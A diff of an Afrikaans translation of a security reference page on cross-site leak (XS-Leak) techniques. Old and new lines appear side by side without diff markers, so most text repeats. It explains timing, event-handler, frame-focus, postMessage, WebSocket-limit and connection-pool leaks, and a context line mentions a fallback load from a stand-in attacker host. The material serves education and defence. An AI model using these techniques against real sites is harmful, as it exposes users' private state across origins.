- **Rame**: Elemente soos **iframe**, **object**, en **embed** kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy **gebroke beskerming** ontbreek, kan JavaScript toegang verkry tot die ingeslote hulpbron se vensterobjek via die contentWindow eienskap.
- **Pop-ups**: Die **`window.open`** metode open 'n hulpbron in 'n nuwe oortjie of venster, wat 'n **vensterhandvatsel** bied vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. Pop-ups, wat dikwels in enkel aanmeld gebruik word, omseil die raam- en koekiebeperkings van 'n teikenhulpbron. Moderne blaaiers beperk egter die skepping van pop-ups tot sekere gebruikersaksies.
- **JavaScript Versoeke**: JavaScript laat direkte versoeke aan teikenhulpbronne toe met behulp van **XMLHttpRequests** of die **Fetch API**. Hierdie metodes bied presiese beheer oor die versoek, soos om te kies om HTTP-herluidings te volg.
### Lek Tegnieke
- **Gebeurtenis Handler**: 'n Klassieke lek tegniek in XS-Leaks, waar gebeurtenis handlers soos **onload** en **onerror** insigte bied oor hulpbronlaai sukses of mislukking.
- **Foutboodskappe**: JavaScript uitsonderings of spesiale foutbladsye kan lek inligting bied, hetsy direk uit die foutboodskap of deur die teenwoordigheid en afwesigheid daarvan te onderskei.
- **Globale Beperkings**: Fisiese beperkings van 'n blaier, soos geheue kapasiteit of ander afgedwonge blaierbeperkings, kan aandui wanneer 'n drempel bereik is, wat as 'n lek tegniek dien.
- **Foutboodskappe**: JavaScript uitsonderings of spesiale foutbladsye kan lek inligting bied, hetsy direk uit die foutboodskap of deur te onderskei tussen die teenwoordigheid en afwesigheid daarvan.
- **Globale Beperkings**: Fisiese beperkings van 'n blaier, soos geheuekapasiteit of ander afgedwonge blaierbeperkings, kan aandui wanneer 'n drempel bereik is, wat as 'n lek tegniek dien.
- **Globale Toestand**: Waarneembare interaksies met die blaier se **globale toestande** (bv. die Geskiedenis-koppelvlak) kan uitgebuit word. Byvoorbeeld, die **aantal inskrywings** in 'n blaier se geskiedenis kan leidrade bied oor kruis-oorsprong bladsye.
- **Prestasie API**: Hierdie API bied **prestasie besonderhede van die huidige bladsy**, insluitend netwerk tydsberekening vir die dokument en gelaaide hulpbronne, wat afleidings oor aangevraagde hulpbronne moontlik maak.
- **Leesbare Eienskappe**: Sommige HTML-eienskappe is **leesbaar kruis-oorsprong** en kan as 'n lek tegniek gebruik word. Byvoorbeeld, die `window.frame.length` eienskap laat JavaScript toe om die rame wat in 'n webblad kruis-oorsprong ingesluit is, te tel.
@ -49,14 +49,14 @@ XSinator is 'n outomatiese hulpmiddel om **blaaiers teen verskeie bekende XS-Lea
Jy kan **die hulpmiddel in** [**https://xsinator.com/**](https://xsinator.com/)
> [!WARNING]
> **Uitsluit XS-Leaks**: Ons moes XS-Leaks uitsluit wat staatmaak op **dienswerkers** aangesien dit ander lekke in XSinator sou inmeng. Verder het ons besluit om **XS-Leaks wat staatmaak op verkeerde konfigurasie en foute in 'n spesifieke webtoepassing** uit te sluit. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) verkeerde konfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Leaks uitgesluit aangesien hulle dikwels ly aan stadigheid, geraas en onakkuraatheid.
> **Uitsluit XS-Leaks**: Ons moes XS-Leaks uitsluit wat staatmaak op **dienswerkers** aangesien dit ander lekke in XSinator sou inmeng. Verder het ons besluit om **XS-Leaks wat staatmaak op miskonfigurasie en foute in 'n spesifieke webtoepassing** uit te sluit. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) miskonfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Leaks uitgesluit aangesien hulle dikwels ly aan stadigheid, geraas en onakkuraatheid.
## **Tydgebaseerde tegnieke**
Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye te detecteer. Daar is verskillende maniere om tyd in 'n webblaier te meet.
Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye te ontdek. Daar is verskillende maniere om tyd in 'n webblaaier te meet.
**Horlosies**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API laat ontwikkelaars toe om hoë-resolusie tydsmetings te verkry.\
Daar is 'n aansienlike aantal API's wat aanvallers kan misbruik om implisiete horlosies te skep: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animasies, en ander.\
**Klokke**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API laat ontwikkelaars toe om hoë-resolusie tydsmetings te verkry.\
Daar is 'n aansienlike aantal API's wat aanvallers kan misbruik om implisiete klokke te skep: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animasies, en ander.\
Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
## Gebeurtenis Handler Tegnieke
@ -73,7 +73,7 @@ Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](htt
cookie-bomb-+-onerror-xs-leak.md
{{#endref}}
Die kode voorbeeld probeer om **skrip objek van JS** te **laai**, maar **ander tags** soos objek, stylesheets, beelde, klank kan ook gebruik word. Boonop is dit ook moontlik om die **tag direk** in te voeg en die `onload` en `onerror` gebeurtenisse binne die tag te verklaar (in plaas van om dit van JS in te voeg).
Die kode voorbeeld probeer om **scripts objek van JS** te **laai**, maar **ander tags** soos objek, stylesheets, beelde, klank kan ook gebruik word. Boonop is dit ook moontlik om die **tag direk** in te voeg en die `onload` en `onerror` gebeurtenisse binne die tag te verklaar (in plaas daarvan om dit van JS in te voeg).
Daar is ook 'n skrip-vrye weergawe van hierdie aanval:
```html
@ -88,8 +88,8 @@ In hierdie geval, as `example.com/404` nie gevind word nie, sal `attacker.com/?e
- **Insluitingsmetodes**: HTML Elemente
- **Waarneembare Verskil**: Tyd (generaal weens Bladsy Inhoud, Statuskode)
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
- **Opsomming:** Die [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** kan gebruik word om te meet hoeveel tyd dit neem om 'n versoek te doen. Ander horlosies kan egter gebruik word, soos [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) wat take kan identifiseer wat langer as 50ms duur.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 'n Ander voorbeeld in:
- **Opsomming:** Die [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** kan gebruik word om te meet hoeveel tyd dit neem om 'n versoek te doen. Ander horlosies kan egter gebruik word, soos die [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) wat take kan identifiseer wat langer as 50ms duur.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 'n ander voorbeeld in:
{{#ref}}
performance.now-example.md
@ -97,7 +97,7 @@ performance.now-example.md
#### Onload Timing + Gedwonge Zware Taak
Hierdie tegniek is net soos die vorige een, maar die **aanvaller** sal ook **dwing** dat 'n aksie 'n **relevante hoeveelheid tyd** neem wanneer die **antwoord positief of negatief** is en daardie tyd meet.
Hierdie tegniek is net soos die vorige een, maar die **aanvaller** sal ook **dwing** dat 'n aksie 'n **relevante hoeveelheid tyd** neem wanneer die **antwoord positief of negatief is** en daardie tyd meet.
{{#ref}}
performance.now-+-force-heavy-task.md
@ -121,7 +121,7 @@ Die tyd wat geneem word om 'n hulpbron te verkry, kan gemeet word deur die [`unl
- **Opsomming:** Die [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API kan gebruik word om te meet hoeveel tyd dit neem om 'n versoek te doen. Ander horlosies kan gebruik word.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
Daar is waargeneem dat in die afwesigheid van [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), die tyd wat benodig word vir 'n bladsy en sy subhulpbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die `onload` handler van 'n iframe slegs geaktiveer word na die voltooiing van hulpbronlaai en JavaScript-uitvoering. Om die variabiliteit wat deur skripuitvoering ingebring word, te omseil, kan 'n aanvaller die [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) attribuut binne die `<iframe>` gebruik. Die insluiting van hierdie attribuut beperk verskeie funksies, veral die uitvoering van JavaScript, wat 'n meting fasiliteer wat hoofsaaklik deur netwerkprestasie beïnvloed word.
Daar is waargeneem dat in die afwesigheid van [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), die tyd wat benodig word vir 'n bladsy en sy subhulpbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die `onload` handler van 'n iframe slegs geaktiveer word na die voltooiing van hulpbronlaai en JavaScript-uitvoering. Om die variabiliteit wat deur skripuitvoering ingebring word te omseil, kan 'n aanvaller die [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) attribuut binne die `<iframe>` gebruik. Die insluiting van hierdie attribuut beperk verskeie funksies, veral die uitvoering van JavaScript, wat 'n meting fasiliteer wat hoofsaaklik deur netwerkprestasie beïnvloed word.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
@ -131,19 +131,19 @@ Daar is waargeneem dat in die afwesigheid van [Framing Protections](https://xsle
- **Insluitingsmetodes**: Frames
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**:
- **Opsomming**: As jy die bladsy kan laat fout wanneer die korrekte inhoud toeganklik is en dit korrek kan laai wanneer enige inhoud toeganklik is, dan kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.
- **Samevatting**: As jy die bladsy kan laat fout wanneer die korrekte inhoud toeganklik is en dit korrek kan laai wanneer enige inhoud toeganklik is, dan kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.
- **Kode Voorbeeld**:
Neem aan dat jy die **bladsy** wat die **geheime** inhoud het, **binne 'n Iframe** kan **invoeg**.
Jy kan die **slagoffer laat soek** vir die lêer wat "_**vlag**_" bevat deur 'n **Iframe** te gebruik (byvoorbeeld deur 'n CSRF te benut). Binne die Iframe weet jy dat die _**onload gebeurtenis**_ altyd **ten minste een keer** uitgevoer sal word. Dan kan jy die **URL** van die **iframe** verander, maar net die **inhoud** van die **hash** binne die URL verander.
Jy kan die **slagoffer laat soek** na die lêer wat "_**vlag**_" bevat met behulp van 'n **Iframe** (byvoorbeeld deur 'n CSRF te benut). Binne die Iframe weet jy dat die _**onload gebeurtenis**_ altyd **ten minste een keer** sal **uitgevoer word**. Dan kan jy die **URL** van die **iframe** verander, maar net die **inhoud** van die **hash** binne die URL verander.
Byvoorbeeld:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
As die eerste URL **suksesvol gelaai** is, dan, wanneer die **hash** deel van die URL **verander** word, sal die **onload** gebeurtenis **nie weer geaktiveer** word nie. Maar **as** die bladsy 'n soort **fout** gehad het tydens **laai**, dan sal die **onload** gebeurtenis **weer geaktiveer** word.
As die eerste URL **suksesvol gelaai** is, dan, wanneer die **hash** deel van die URL verander word, sal die **onload** gebeurtenis **nie weer geaktiveer** word nie. Maar **as** die bladsy 'n soort **fout** gehad het tydens **laai**, dan sal die **onload** gebeurtenis **weer geaktiveer** word.
Dan kan jy **onderskei tussen** 'n **korrek** gelaaide bladsy of 'n bladsy wat 'n **fout** het wanneer dit toeganklik is.
@ -152,7 +152,7 @@ Dan kan jy **onderskei tussen** 'n **korrek** gelaaide bladsy of 'n bladsy wat '
- **Insluitingsmetodes**: Frames
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**:
- **Opsomming:** As die **bladsy** die **sensitiewe** inhoud **teruggee**, **of** 'n **inhoud** wat deur die gebruiker **beheer** kan word. Die gebruiker kan **geldige JS kode in die negatiewe geval** stel, en **laai** elke poging binne **`<script>`** etikette, so in **negatiewe** gevalle word die aanvallers **kode** **uitgevoer**, en in **bevestigende** gevalle sal **niks** uitgevoer word nie.
- **Samevatting:** As die **bladsy** die **sensitiewe** inhoud **teruggee**, **of** 'n **inhoud** wat deur die gebruiker **beheer kan word**. Die gebruiker kan **geldige JS kode in die negatiewe geval** stel, en **laai** elke poging binne **`<script>`** etikette, so in **negatiewe** gevalle sal die aanvallers **kode** **uitgevoer** word, en in **bevestigende** gevalle sal **niks** uitgevoer word nie.
- **Kode Voorbeeld:**
{{#ref}}
@ -164,7 +164,7 @@ javascript-execution-xs-leak.md
- **Insluitingsmetodes**: HTML Elemente
- **Waarneembare Verskil**: Statuskode & Headers
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Opsomming**: **Cross-Origin Read Blocking (CORB)** is 'n sekuriteitsmaatreël wat webbladsye verhinder om sekere sensitiewe kruis-oorsprong hulpbronne te laai om teen aanvalle soos **Spectre** te beskerm. Tog kan aanvallers sy beskermende gedrag benut. Wanneer 'n antwoord wat aan **CORB** onderwerp is, 'n _**CORB beskermde**_ `Content-Type` met `nosniff` en 'n `2xx` statuskode teruggee, verwyder **CORB** die liggaam en headers van die antwoord. Aanvallers wat dit waarneem kan die kombinasie van die **statuskode** (wat sukses of fout aandui) en die `Content-Type` (wat aandui of dit deur **CORB** beskerm word), aflei, wat kan lei tot potensiële inligtingslek.
- **Samevatting**: **Cross-Origin Read Blocking (CORB)** is 'n sekuriteitsmaatreël wat webblaaie verhinder om sekere sensitiewe kruis-oorsprong hulpbronne te laai om teen aanvalle soos **Spectre** te beskerm. Tog kan aanvallers sy beskermende gedrag benut. Wanneer 'n antwoord wat aan **CORB** onderwerp is, 'n _**CORB beskermde**_ `Content-Type` met `nosniff` en 'n `2xx` statuskode teruggee, verwyder **CORB** die liggaam en headers van die antwoord. Aanvallers wat dit waarneem kan die kombinasie van die **statuskode** (wat sukses of fout aandui) en die `Content-Type` (wat aandui of dit deur **CORB** beskerm word), aflei, wat kan lei tot potensiële inligtingslek.
- **Kode Voorbeeld:**
Kyk die meer inligting skakel vir meer inligting oor die aanval.
@ -174,21 +174,21 @@ Kyk die meer inligting skakel vir meer inligting oor die aanval.
- **Insluitingsmetodes**: Frames
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
- **Opsomming**: Lek sensitiewe data van die id of naam attribuut.
- **Samevatting**: Lek sensitiewe data van die id of naam attribuut.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
Dit is moontlik om 'n **bladsy** binne 'n **iframe** te **laai** en die **`#id_value`** te gebruik om die bladsy te **fokus op die element** van die iframe met die aangeduide id, dan, as 'n **`onblur`** sein geaktiveer word, bestaan die ID element.\
Dit is moontlik om 'n **bladsy** binne 'n **iframe** te **laai** en die **`#id_value`** te gebruik om die bladsy **fokus op die element** van die iframe te maak met die aangeduide as, dan as 'n **`onblur`** sein geaktiveer word, bestaan die ID element.\
Jy kan dieselfde aanval met **`portal`** etikette uitvoer.
### postMessage Uitsendings <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
### postMessage Uitzendings <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
- **Insluitingsmetodes**: Frames, Pop-ups
- **Waarneembare Verskil**: API Gebruik
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
- **Opsomming**: Versamel sensitiewe inligting van 'n postMessage of gebruik die teenwoordigheid van postMessages as 'n orakel om die status van die gebruiker op die bladsy te ken.
- **Samevatting**: Versamel sensitiewe inligting van 'n postMessage of gebruik die teenwoordigheid van postMessages as 'n orakel om die status van die gebruiker op die bladsy te ken
- **Kode Voorbeeld**: `Enige kode wat na alle postMessages luister.`
Toepassings gebruik gereeld [`postMessage` uitsendings](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) om oor verskillende oorspronge te kommunikeer. Tog kan hierdie metode per ongeluk **sensitiewe inligting** blootstel as die `targetOrigin` parameter nie behoorlik gespesifiseer is nie, wat enige venster toelaat om die boodskappe te ontvang. Verder kan die blote daad van die ontvangs van 'n boodskap as 'n **orakel** optree; byvoorbeeld, sekere boodskappe mag slegs aan gebruikers wat ingelog is, gestuur word. Daarom kan die teenwoordigheid of afwesigheid van hierdie boodskappe inligting oor die gebruiker se toestand of identiteit onthul, soos of hulle geverifieer is of nie.
Toepassings gebruik gereeld [`postMessage` uitzendings](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) om oor verskillende oorspronge te kommunikeer. Tog kan hierdie metode per ongeluk **sensitiewe inligting** blootstel as die `targetOrigin` parameter nie behoorlik gespesifiseer is nie, wat enige venster toelaat om die boodskappe te ontvang. Verder kan die blote daad van die ontvangs van 'n boodskap as 'n **orakel** optree; byvoorbeeld, sekere boodskappe mag slegs aan gebruikers wat ingelog is, gestuur word. Daarom kan die teenwoordigheid of afwesigheid van hierdie boodskappe inligting oor die gebruiker se toestand of identiteit onthul, soos of hulle geverifieer is of nie.
## Globale Limiete Tegnieke
@ -197,31 +197,31 @@ Toepassings gebruik gereeld [`postMessage` uitsendings](https://developer.mozill
- **Insluitingsmetodes**: Frames, Pop-ups
- **Waarneembare Verskil**: API Gebruik
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Opsomming**: Die uitputting van die WebSocket verbinding limiet lek die aantal WebSocket verbindings van 'n kruis-oorsprong bladsy.
- **Samevatting**: Die WebSocket verbinding limiet uitputting lek die aantal WebSocket verbindings van 'n kruis-oorsprong bladsy.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
Dit is moontlik om te identifiseer of, en hoeveel, **WebSocket verbindings 'n teikenbladsy gebruik**. Dit stel 'n aanvaller in staat om toepassingsstate te detecteer en inligting wat aan die aantal WebSocket verbindings gekoppel is, te lek.
As een **oorsprong** die **maksimum aantal WebSocket** verbindingsobjekte gebruik, ongeag hul verbindingsstatus, sal die skepping van **nuwe objektes 'n JavaScript uitsondering** tot gevolg hê. Om hierdie aanval uit te voer, open die aanvaller se webwerf die teikenwebwerf in 'n pop-up of iframe en dan, nadat die teikenweb gelaai is, probeer om die maksimum aantal WebSockets verbindings moontlik te skep. Die **aantal gegooi uitsonderings** is die **aantal WebSocket verbindings wat deur die teikenwebwerf** venster gebruik word.
As een **oorsprong** die **maksimum aantal WebSocket** verbindingsobjekte gebruik, ongeag hul verbindingsstatus, sal die skepping van **nuwe objekts JavaScript uitsonderings** veroorsaak. Om hierdie aanval uit te voer, open die aanvaller se webwerf die teikenwebwerf in 'n pop-up of iframe en dan, nadat die teikenweb gelaai is, probeer om die maksimum aantal WebSockets verbindings moontlik te skep. Die **aantal gegooi uitsonderings** is die **aantal WebSocket verbindings wat deur die teikenwebwerf** venster gebruik word.
### Betaling API
- **Insluitingsmetodes**: Frames, Pop-ups
- **Waarneembare Verskil**: API Gebruik
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Opsomming**: Detecteer Betaling Versoek omdat slegs een aktief kan wees op 'n slag.
- **Samevatting**: Detecteer Betaling Versoek omdat slegs een op 'n slag aktief kan wees.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
Hierdie XS-Lek stel 'n aanvaller in staat om **te detecteer wanneer 'n kruis-oorsprong bladsy 'n betalingsversoek begin**.
Omdat **slegs een betalingsversoek aktief kan wees** op dieselfde tyd, as die teikenwebwerf die Betaling Versoek API gebruik, sal enige verdere pogings om hierdie API te gebruik, misluk, en 'n **JavaScript uitsondering** veroorsaak. Die aanvaller kan dit benut deur **periodiek te probeer om die Betaling API UI te wys**. As een poging 'n uitsondering veroorsaak, gebruik die teikenwebwerf dit tans. Die aanvaller kan hierdie periodieke pogings verberg deur die UI onmiddellik na skepping te sluit.
Omdat **slegs een betalingsversoek aktief kan wees** op dieselfde tyd, as die teikenwebwerf die Betaling Versoek API gebruik, sal enige verdere pogings om hierdie API te gebruik, misluk, en 'n **JavaScript uitsondering** veroorsaak. Die aanvaller kan dit benut deur **periodiek te probeer om die Betaling API UI te wys**. As een poging 'n uitsondering veroorsaak, is die teikenwebwerf tans besig om dit te gebruik. Die aanvaller kan hierdie periodieke pogings verberg deur die UI onmiddellik na skepping te sluit.
### Tydsberekening van die Gebeurtenislus <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
- **Insluitingsmetodes**:
- **Waarneembare Verskil**: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
- **Waarneembare Verskil**: Tydsberekening (generaal weens Bladsy Inhoud, Statuskode)
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
- **Opsomming:** Meet die uitvoerings tyd van 'n web wat die enkel-draad JS gebeurtenislus misbruik.
- **Samevatting:** Meet die uitvoerings tyd van 'n web wat die enkel-draad JS gebeurtenislus misbruik.
- **Kode Voorbeeld**:
{{#ref}}
@ -236,12 +236,12 @@ JavaScript werk op 'n [enkel-draad gebeurtenislus](https://developer.mozilla.org
### Besige Gebeurtenislus <a href="#busy-event-loop" id="busy-event-loop"></a>
- **Insluitingsmetodes**:
- **Waarneembare Verskil**: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
- **Waarneembare Verskil**: Tydsberekening (generaal weens Bladsy Inhoud, Statuskode)
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Opsomming:** Een metode om die uitvoerings tyd van 'n web operasie te meet, behels die doelbewuste blokkering van die gebeurtenislus van 'n draad en dan die tydsduur **hoe lank dit neem voordat die gebeurtenislus weer beskikbaar is**. Deur 'n blokkerende operasie (soos 'n lang berekening of 'n sinchroniese API oproep) in die gebeurtenislus in te voeg, en die tyd te monitor wat dit neem voordat daaropvolgende kode begin uitvoer, kan 'n mens die duur van die take wat in die gebeurtenislus tydens die blokkeringsperiode uitgevoer is, aflei. Hierdie tegniek benut die enkel-draad aard van JavaScript se gebeurtenislus, waar take sekwensieel uitgevoer word, en kan insigte bied in die prestasie of gedrag van ander operasies wat dieselfde draad deel.
- **Samevatting:** Een metode om die uitvoerings tyd van 'n web operasie te meet, behels om die gebeurtenislus van 'n draad doelbewus te blokkeer en dan die tyd te meet **hoe lank dit neem voordat die gebeurtenislus weer beskikbaar is**. Deur 'n blokkerende operasie (soos 'n lang berekening of 'n sinchroniese API oproep) in die gebeurtenislus in te voeg, en die tyd te monitor wat dit neem voordat daaropvolgende kode begin uitvoer, kan 'n mens die duur van die take wat in die gebeurtenislus tydens die blokkeringsperiode uitgevoer is, aflei. Hierdie tegniek benut die enkel-draad aard van JavaScript se gebeurtenislus, waar take sekwensieel uitgevoer word, en kan insigte bied in die prestasie of gedrag van ander operasies wat dieselfde draad deel.
- **Kode Voorbeeld**:
'n Beduidende voordeel van die tegniek om uitvoerings tyd te meet deur die gebeurtenislus te sluit, is die potensiaal om **Webwerf Isolasie** te omseil. **Webwerf Isolasie** is 'n sekuriteitskenmerk wat verskillende webwerwe in aparte prosesse skei, met die doel om te voorkom dat kwaadwillige webwerwe direk toegang tot sensitiewe data van ander webwerwe verkry. Tog, deur die uitvoerings tyd van 'n ander oorsprong deur die gedeelde gebeurtenislus te beïnvloed, kan 'n aanvaller indirek inligting oor daardie oorsprong se aktiwiteite onttrek. Hierdie metode staat nie op direkte toegang tot die ander oorsprong se data nie, maar eerder op die waarneming van die impak van daardie oorsprong se aktiwiteite op die gedeelde gebeurtenislus, en om so die beskermende hindernisse wat deur **Webwerf Isolasie** gevestig is, te ontwyk.
'n Beduidende voordeel van die tegniek om uitvoerings tyd te meet deur die gebeurtenislus te sluit, is die potensiaal om **Webwerf Isolasie** te omseil. **Webwerf Isolasie** is 'n sekuriteitskenmerk wat verskillende webwerwe in aparte prosesse skei, met die doel om te voorkom dat kwaadwillige webwerwe direk toegang tot sensitiewe data van ander webwerwe verkry. Tog, deur die uitvoerings tydsberekening van 'n ander oorsprong deur die gedeelde gebeurtenislus te beïnvloed, kan 'n aanvaller indirek inligting oor daardie oorsprong se aktiwiteite onttrek. Hierdie metode staat nie op direkte toegang tot die ander oorsprong se data nie, maar eerder op die waarneming van die impak van daardie oorsprong se aktiwiteite op die gedeelde gebeurtenislus, en ontduik dus die beskermende hindernisse wat deur **Webwerf Isolasie** gevestig is.
> [!WARNING]
> In 'n uitvoerings tydsberekening is dit moontlik om **netwerk faktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
@ -249,45 +249,45 @@ JavaScript werk op 'n [enkel-draad gebeurtenislus](https://developer.mozilla.org
### Verbinding Poel
- **Insluitingsmetodes**: JavaScript Versoeke
- **Waarneembare Verskil**: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
- **Waarneembare Verskil**: Tydsberekening (generaal weens Bladsy Inhoud, Statuskode)
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Opsomming:** 'n Aanvaller kan al die sokke behalwe 1 sluit, die teikenweb laai en terselfdertyd 'n ander bladsy laai, die tyd totdat die laaste bladsy begin laai is die tyd wat die teikenbladsy geneem het om te laai.
- **Samevatting:** 'n Aanvaller kan al die sokke sluit behalwe 1, die teiken web laai en terselfdertyd 'n ander bladsy laai, die tyd totdat die laaste bladsy begin laai is die tyd wat die teikenbladsy geneem het om te laai.
- **Kode Voorbeeld**:
{{#ref}}
connection-pool-example.md
{{#endref}}
Browers gebruik sokke vir bediener kommunikasie, maar as gevolg van die beperkte hulpbronne van die bedryfstelsel en hardeware, **word browers gedwing om 'n limiet** op die aantal gelyktydige sokke te plaas. Aanvallers kan hierdie beperking benut deur die volgende stappe:
Blaaiers gebruik sokke vir bediener kommunikasie, maar as gevolg van die beperkte hulpbronne van die bedryfstelsel en hardeware, **is blaaiers gedwing om 'n limiet** op die aantal gelyktydige sokke te plaas. Aanvallers kan hierdie beperking benut deur die volgende stappe:
1. Bepaal die brower se sokke limiet, byvoorbeeld, 256 globale sokke.
1. Bepaal die blaaiers sokke limiet, byvoorbeeld, 256 globale sokke.
2. Beset 255 sokke vir 'n lang tyd deur 255 versoeke na verskillende gasheers te begin, ontwerp om die verbindings oop te hou sonder om te voltooi.
3. Gebruik die 256ste sok om 'n versoek na die teikenbladsy te stuur.
4. Probeer 'n 257ste versoek na 'n ander gasheer. Aangesien al die sokke in gebruik is (soos per stappe 2 en 3), sal hierdie versoek in die tou wees totdat 'n sok beskikbaar word. Die vertraging voordat hierdie versoek voortgaan, bied die aanvaller tyds-inligting oor die netwerkaktiwiteit wat met die 256ste sok (die teikenbladsy se sok) verband hou. Hierdie afleiding is moontlik omdat die 255 sokke van stap 2 steeds betrokke is, wat impliseer dat enige nuut beskikbare sok die een moet wees wat van stap 3 vrygestel is. Die tyd wat dit neem vir die 256ste sok om beskikbaar te word, is dus direk gekoppel aan die tyd wat benodig word vir die versoek na die teikenbladsy om te voltooi.
